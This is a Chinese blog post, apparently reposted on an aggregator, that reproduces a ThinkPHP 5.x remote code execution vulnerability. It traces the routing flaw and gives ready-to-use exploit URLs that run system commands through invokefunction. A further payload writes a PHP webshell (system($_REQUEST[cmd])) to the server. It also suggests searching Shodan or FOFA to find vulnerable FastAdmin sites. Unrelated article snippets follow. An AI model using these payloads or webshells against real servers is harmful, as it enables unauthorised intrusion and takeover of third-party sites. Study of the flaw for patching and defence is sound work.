THINKPHP5 getshell

news/2025/2/15 21:18:42/

复现环境

以别人搭建好的5.1.29环境:
https://github.com/vulnspy/thinkphp-5.1.29

代码追踪

index.php

在这里插入图片描述

Container::get(‘app’)

在这里插入图片描述

最终调用invokeReflectMethod(),指定对应类的对应方法,传入对应参数。
在这里插入图片描述

关键

parseModuleAndClass方法中,当$name以反斜线"\"开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。

在这里插入图片描述
比如这个paylaod:

s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

就表示执行think\appr类(即thinkphp\library\think\app.php)文件的invokefunction方法,而这个方法的声明为:

invokeFunction(function, vars[])

即执行call_user_func_array("system", ['id'])
参考:http://php.net/manual/en/function.call-user-func-array.php
命令行执行结果如下:
在这里插入图片描述
通过web执行结果如下:
在这里插入图片描述
在这里插入图片描述
5.0.20和5.1.29通用payload:

index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

写入webshell

找到thinkphp\library\think\template\driver\file.php文件,的write方法,需要传入两个参数:cacheFile, content。即文件名和文件内容,即可执行对应类的对应函数,写入任意内容。

http://192.168.170.148/thinkphp-5.1.29/public/index.php?s=/index/\think\template\driver\file/write?cacheFile=shell.php&content=%3C?php%20system($_REQUEST[cmd]);%20?%3E&XDEBUG_SESSION_START=PHPSTORM

在这里插入图片描述
在这里插入图片描述

在shodan或者fofa上搜fastadmin(基于thinkphp5)的框架,可以找到大量shell…

参考:

https://mp.weixin.qq.com/s/oWzDIIjJS2cwjb4rzOM4DQ
https://xz.aliyun.com/t/3570
http://www.vulnspy.com/cn-thinkphp-5.x-rce/thinkphp_5.x_(v5.0.23及v5.1.31以下版本)_远程命令执行漏洞利用(getshell)/
https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650451158&idx=1&sn=ff2e74beefd52d2294271148f2f92a84


http://www.ppmy.cn/news/228739.html

相关文章

CURL命令行使用

1. CURL 发送磁盘上面的JSON文件 如 curl -X POST -H content-type: application/json -d myjsonfile.txt http://some.url/param 2. CURL在命令行直接发送JSON结构数据 curl -i -H content-type: application/json -X POST -d {\"screencast\":{\"subject\&q…

[SDX12] X12 USB to LTE IPA概率不生效问题分析及优化策略

问题描述 在测试USB to LTE的流量过程中,发现IPA概率失效,正常可以跑到320Mbps,但是跑流1分钟左右会出现IPA失效及跑流掉坑的情况。 问题log dmesg log 3,1862,149793394,-;ipa ipa3_ioctl:3564 using obselete command: IPA_IOC_RM_ADD_DEPENDENCY 3,1863,149793549,-;ipa …

XJOI——3570-萌新关爱之-求一个整数的个位数

- >>>XJOI——3545-你好&#xff0c;OI<<< >>>XJOI——3566-萌新关爱之-鹦鹉学整数<<< >>>XJOI——3567-萌新关爱之-鹦鹉学浮点数<<< >>>XJOI——1000-萌新关爱之-AB Problem<<< >>>XJ…

数字信号时序分析装置

2018年TI杯G题——数字信号时序分析装置&#xff0c;需要自学stm32单片机&#xff0c;具有一定难度&#xff0c;因此我将我的实习作品展示在此&#xff0c;希望对学弟学妹或者其他同学们有一定的帮助。 一&#xff1a;题目分析 左侧的8位数字信号发生电路我们使用硬件电路&…

android常见问题之jni读取assets资源文件(附源码)

assets目录底下的文件会被打包到一个apk文件里&#xff0c;这些资源在安装时他们并没被解压,使用时是直接从apk中读取的。这里介绍下怎么在jni内使用ndk自带api的接口函数读取assets资源文件&#xff0c;和libzip库函数的使用&#xff0c;可以用来读创建修改压缩文档&#xff0…

STM32 DAC 输出正弦波、三角波、方波

DAC可以将数字信号转换成模拟信号&#xff0c;在嵌入式系统开发中运用的十分广泛。在STM32实际运用中&#xff0c;可直接将数值映射成端口的电压值&#xff0c;通过大量的采样点输出&#xff0c;可达到输出指定波形的目的。 1、设置系统时钟&#xff08;Clock&#xff09; 2、…

RT 3570 wifi 移植手册

作者&#xff1a;宋老师,华清远见嵌入式学院讲师。 开发环境&#xff1a; 硬件平台&#xff1a;pv210开发板 主机环境&#xff1a;Ubuntu10.04 Linux内核&#xff1a;Linux-2.6.35 无线USB网卡 腾达 型号&#xff1a;W311M WIFI方案&#xff1a;RT5370 驱动下载地址 腾…

Canon iR3570扫描方案

本文出自Simmy的个人blog&#xff1a;西米在线 http://simmyonline.com/archives/604.html 新收购进来的公司那边有一部Canon iR3570的多功能打印机&#xff0c;以前用户都是使用Adobe Photoshop来配合使用其扫描的功能&#xff0c;而且用的是盗版&#xff0c;而我们公司规定…